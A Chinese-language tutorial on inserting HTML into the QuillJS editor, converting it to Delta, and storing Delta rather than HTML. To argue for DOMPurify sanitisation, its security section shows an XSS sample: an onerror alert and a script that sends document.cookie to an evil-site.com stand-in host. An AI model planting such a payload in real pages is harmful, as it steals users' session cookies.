返回

QuillJS插入HTML:方法、安全解析与Delta最佳实践

javascript

QuillJS 中如何插入 HTML?全面解析与最佳实践

刚上手 QuillJS 富文本编辑器,你可能会琢磨:“我能不能直接往里面塞一段 HTML 代码?” 文档翻了个遍,好像也没瞅见特别直接的法子。要是直接塞不行,那能把 HTML 转成 Quill 自家的 Delta 格式不?

你可能会想,我从 Quill 里拿到 HTML 源码存起来,以后好直接用 HTML 的方式展示。这么干是不是从一开始就跑偏了,我是不是还得老老实实存一份 Delta 格式的数据?

别急,这些问题咱们今天就来好好聊聊,把 QuillJS 处理 HTML 的各种姿势给你扒拉清楚。

一、问题在哪?为什么 Quill 不直接“吃” HTML?

直接把一坨 HTML 扔给 Quill,它可能并不会照单全收,或者说,表现可能和你预期的不太一样。为啥呢?

Quill 这家伙,内心其实不认 HTML,它认的是一种叫做 Delta 的数据格式。Delta 是一个精简的 JSON 结构,专门用来文档内容和格式变化。你可以把它想象成一本操作记录,比如“在第 5 个字符后插入‘你好’”、“把第 10到15个字符加粗”等等。

当你在 Quill 编辑器里敲敲打打,或者点击工具栏按钮改变样式时,Quill 实时地将这些操作转换成 Delta,并更新编辑器内容。这种设计让 Quill 在处理复杂编辑历史、协同编辑等方面表现得很出色。

如果你硬塞一段原生 HTML 给它,Quill 需要先把它“翻译”成自己能懂的 Delta 语言。这个翻译过程,就像把中文翻成英文,总会有那么点信息丢失或者曲解的可能,尤其是那些 Quill 不支持的 HTML 标签或者复杂的 CSS 样式。

二、破解之道:让 Quill “笑纳”你的 HTML

虽然 Quill 有自己的小脾气,但也不是油盐不进。我们还是有办法把 HTML 塞给它的。

方案一:模拟粘贴 - clipboard.dangerouslyPasteHTML()

这是最接近“直接插入HTML”的办法。Quill 提供了一个 dangerouslyPasteHTML API,顾名思义,它允许你粘贴 HTML 内容,但名字里带个 "dangerously",意思就是提醒你悠着点用,可能有坑。

1. 原理和作用

这个 API 模拟了用户从剪贴板粘贴 HTML 内容的行为。Quill 的 Clipboard 模块会尝试解析这段 HTML,将其转换为 Delta,然后插入到指定位置。它会尽量保留 HTML 的结构和常见样式,但对于 Quill 不支持的标签或样式,可能会被忽略或转换成最接近的等效格式。

2. 代码示例

假设你有一个 Quill 实例叫 quill

// 获取 Quill 实例
const quill = new Quill('#editor', {
  theme: 'snow',
  modules: {
    toolbar: true // 假设有工具栏
  }
});

// 要插入的 HTML 字符串
const htmlToInsert = '<h1>你好,世界!</h1><p>这是一段<em>重要</em>的文本。</p>';

// 在光标当前位置插入 (或者文档开头,如果编辑器为空)
quill.clipboard.dangerouslyPasteHTML(htmlToInsert);

// 或者,在指定索引位置插入
// 比如,在文档开头插入
// quill.clipboard.dangerouslyPasteHTML(0, htmlToInsert);

你也可以指定插入源,比如 'user''api'。默认情况下,如果是 'user' 来源,它会经过 Quill 的一些清理和匹配规则;如果是 'api',则可能跳过某些处理。

3. 安全建议

为啥叫 dangerouslyPasteHTML?因为直接插入未经验证的 HTML 是有安全风险的,主要是 XSS (跨站脚本攻击) 。如果你的 HTML 来源于用户输入或者不可信的第三方,里面可能藏着恶意脚本,比如:

<img src="invalid_path" onerror="alert('XSS攻击!');">
<script>
  // 恶意代码
  fetch('https://evil-site.com/steal?cookie=' + document.cookie);
</script>

一旦这样的 HTML 被插入并渲染,脚本就会执行,可能导致用户数据泄露、会话劫持等严重后果。

防护措施:

  • 严格净化 HTML :在调用 dangerouslyPasteHTML 之前,务必对 HTML 字符串进行清理,移除不安全的标签和属性。可以使用成熟的库,如 DOMPurify

    import DOMPurify from 'dompurify';
    
    // ... quill 实例 ...
    
    const untrustedHtml = getUserInput(); // 假设这是用户提供的HTML
    const cleanHtml = DOMPurify.sanitize(untrustedHtml);
    
    quill.clipboard.dangerouslyPasteHTML(cleanHtml);
    
  • 限制来源 :尽可能避免从不可靠的来源直接粘贴 HTML。如果必须,确保净化过程万无一失。

4. 进阶使用技巧

  • 控制粘贴行为 :Quill 的 Clipboard 模块可以通过配置 matchers 来自定义特定 HTML 标签如何被转换成 Delta。如果你发现某些 HTML 结构转换效果不理想,可以考虑自定义匹配器。

    // 示例:自定义一个匹配器,将所有 <b> 标签转换为 Quill 的 'bold: true' 格式
    quill.clipboard.addMatcher('B', function(node, delta) {
      return delta.compose(new Delta().retain(delta.length(), { bold: true }));
    });
    

    不过要注意,dangerouslyPasteHTML 主要还是依赖 Quill 内建的转换逻辑,对 matchers 的应用可能不如用户真实粘贴行为那么直接。

  • 选择插入位置dangerouslyPasteHTML 的第一个参数可以是索引位置,也可以是光标范围。

    const range = quill.getSelection();
    if (range) {
      quill.clipboard.dangerouslyPasteHTML(range.index, '<strong>加粗内容</strong>');
    } else {
      // 如果没有选区,默认插在最前面或最后面 (取决于编辑器内容和Quill版本行为)
      // 通常建议明确指定索引,如 0 表示开头
      quill.clipboard.dangerouslyPasteHTML(0, '<strong>加粗内容</strong>');
    }
    

方案二:HTML 转 Delta,再用 setContents()

这是 Quill 官方更推荐的、更“根正苗红”的方式。它的思路是:先把外部的 HTML 转换成 Quill 的 Delta 格式,然后再用 setContents() API 把这个 Delta 设置到编辑器里。

1. 原理和作用

setContents(delta, source) API 是 Quill 用来完全替换编辑器内容的核心方法。它接受一个 Delta 对象作为输入。所以,关键在于如何把 HTML 字符串有效地转换为 Delta。

Quill 的 Clipboard 模块同样提供了一个 convert() 方法,可以将 HTML 字符串转换为 Delta 对象。这个转换过程和 dangerouslyPasteHTML 内部对 HTML 的处理逻辑是类似的。

2. 代码示例

// 获取 Quill 实例
const quill = new Quill('#editor', {
  theme: 'snow'
});

const htmlToConvert = '<h2>Delta 大法好</h2><p>先转 Delta,再喂给 Quill。</p><ul><li>有序</li><li>可靠</li></ul>';

// 1. 将 HTML 转换为 Delta
const delta = quill.clipboard.convert(htmlToConvert);

// 2. 使用 setContents 更新编辑器内容
// 'api' 作为 source 表示这是通过程序化API调用的
quill.setContents(delta, 'api');

这样操作,编辑器内容会被完全替换为 htmlToConvert 对应的 Delta 内容。如果你只想插入而不是替换,就需要先获取当前内容的 Delta,然后与新转换的 Delta 合并(compose),再用 setContents。不过,对于插入操作,dangerouslyPasteHTML 更直接些。setContents 更适合初始化编辑器内容或完全重置内容。

3. 安全建议

和方案一类似,如果你的 HTML 来源于不可信的外部,那么在调用 quill.clipboard.convert() 之前,依然需要对 HTML 字符串进行净化convert() 方法在转换时会尝试丢弃无法识别或不安全的标签,但依赖它作为唯一的安全防线是不够的。先用 DOMPurify 等工具清理一遍才是稳妥之举。

import DOMPurify from 'dompurify';

// ... quill 实例 ...

const untrustedHtml = getUserInput();
const cleanHtml = DOMPurify.sanitize(untrustedHtml);

const delta = quill.clipboard.convert(cleanHtml);
quill.setContents(delta, 'api');

4. 进阶使用技巧

  • Delta 的合并与操作 :Delta 对象非常灵活,你可以用它的 compose()transform() 等方法进行更复杂的内容操作。比如,你想在现有内容的末尾追加 HTML:

    const currentDelta = quill.getContents();
    const htmlToAppend = '<p>这是追加的内容。</p>';
    const appendDelta = quill.clipboard.convert(htmlToAppend);
    
    // 先保留当前内容的长度,然后在其后插入新 Delta
    // 注意:Delta 操作通常基于 "ops" 数组,这里简化表示。
    // 实际应用中,你可能需要构造一个 `new Delta().retain(currentDelta.length()).concat(appendDelta)`
    // 更简单的方法是直接用 `dangerouslyPasteHTML` 在末尾插入。
    // 但如果逻辑复杂,理解 Delta 合并很重要。
    // const newDelta = currentDelta.compose(new Delta().retain(currentDelta.length()).concat(appendDelta));
    // 上面这行其实不对,正确的追加方式是:
    const newDelta = currentDelta.concat(appendDelta);
    quill.setContents(newDelta, 'api');
    

    更正: 追加内容到末尾,如果直接用setContents会替换掉全部,若要追加,应该先获取当前Delta,然后与新的Delta合并。 concat() 方法可以用来连接两个 Delta。

  • 服务器端转换 :如果你的应用场景需要在服务器端处理大量 HTML 到 Delta 的转换,可以寻找或开发相应的 Node.js 库。虽然 Quill 本身是前端库,但 Delta 规范是公开的,理论上可以实现跨平台转换。不过,官方提供的 quill.clipboard.convert() 是最便捷的客户端方案。

三、我的内容该怎么存?HTML 还是 Delta?

回到开头的问题:“我从 Quill 里拿到 HTML 源码存起来...这么干是不是从一开始就跑偏了,我是不是还得老老实实存一份 Delta 格式的数据?”

答案倾向于是:优先考虑存储 Delta。

  1. 数据保真度 :Delta 是 Quill 的“母语”。存储 Delta 能最完整、最精确地保留用户在 Quill 编辑器中创建的所有内容和格式。当你把 Delta 加载回 Quill 时,能完美还原编辑状态。
  2. 版本控制和协同 :Delta 的设计非常适合进行版本追踪和处理多人协同编辑时的冲突合并。每个 Delta 代表一次变更,这比 diff HTML 文本要高效和准确得多。
  3. 性能 :加载 Delta 通常比解析和转换一大段 HTML 更快,特别是对于复杂文档。
  4. 可操作性 :在后端或前端,用程序操作结构化的 Delta JSON 通常比操作不规则的 HTML 字符串更容易。

那 HTML 呢?什么时候用?

  • 最终展示 :当你需要在 Quill 编辑器之外的地方展示内容时(比如一个静态网页、邮件内容),你需要把 Delta 转换成 HTML。Quill 自身就可以做到:

    const htmlOutput = quill.root.innerHTML;
    // 或者,如果想从Delta转换:
    // (这是一个概念性步骤,实际做法是设置到临时Quill实例再取innerHTML,
    // 或者使用独立的Delta到HTML转换库,如 quill-delta-to-html)
    // const deltaToRender = getMyStoredDelta();
    // const tempQuill = new Quill(document.createElement('div'));
    // tempQuill.setContents(deltaToRender);
    // const htmlOutput = tempQuill.root.innerHTML;
    

    有一个流行的库 quill-delta-to-html 专门用于将 Delta 转换为 HTML,无需一个完整的 Quill 实例。

  • 兼容性 :如果你的系统还需要和其他只认 HTML 的模块交互,那么在交互边界进行 HTML 和 Delta 的转换是必要的。

所以,一个推荐的工作流是:

  1. 用户在 Quill 编辑器中编辑内容。
  2. 保存时,从 Quill 获取 Delta (quill.getContents()),将 Delta 存储到你的数据库。
  3. 当需要再次编辑时,从数据库读取 Delta,用 quill.setContents(delta) 加载回编辑器。
  4. 当需要在网页上直接显示内容(非编辑状态)时:
    • 可以后端直接将存储的 Delta 转换为 HTML(如使用 Node.js 版的 quill-delta-to-html)再输出给前端。
    • 或者前端获取 Delta 后,在客户端将其转换为 HTML 进行展示。

如果你一直存的是 quill.root.innerHTML 获取的 HTML,也不是说“完全错误”,但可能会在以下方面遇到麻烦:

  • 往 Quill 回填 HTML :正如我们讨论的,Quill 解析 HTML 的过程可能不完美,尤其是对于一些 Quill 自身不直接支持的复杂或自定义样式。长期以往,格式可能会逐渐丢失或变形。
  • 失去 Delta 的优势 :如版本控制、细粒度操作等。

如果你已经存了大量 HTML,想切换到 Delta,可以考虑写个一次性脚本:创建一个 Quill 实例,用 clipboard.dangerouslyPasteHTML()clipboard.convert() + setContents() 将旧 HTML 加载进去,然后用 getContents() 导出 Delta 存储。记得做好数据备份和测试!

四、总结一下思路

处理 QuillJS 和 HTML 的关系,核心在于理解 Quill 的 Delta 心。

  • 往 Quill 里塞 HTML

    • quill.clipboard.dangerouslyPasteHTML(),简单直接,但注意净化 HTML 防 XSS。
    • 先用 quill.clipboard.convert() 把 HTML 转成 Delta,再用 quill.setContents(),更符合 Quill 的路子,同样注意净化。
  • 内容存储

    • 强烈推荐存储 Delta (quill.getContents())。它保真度高,利于功能扩展。
    • 展示时,再将 Delta 转为 HTML。quill.root.innerHTMLquill-delta-to-html 这类库都能帮你搞定。

希望这番梳理能帮你更好地驾驭 QuillJS 中的 HTML 操作。选择合适的方案,让你的富文本编辑体验更加顺滑和安全。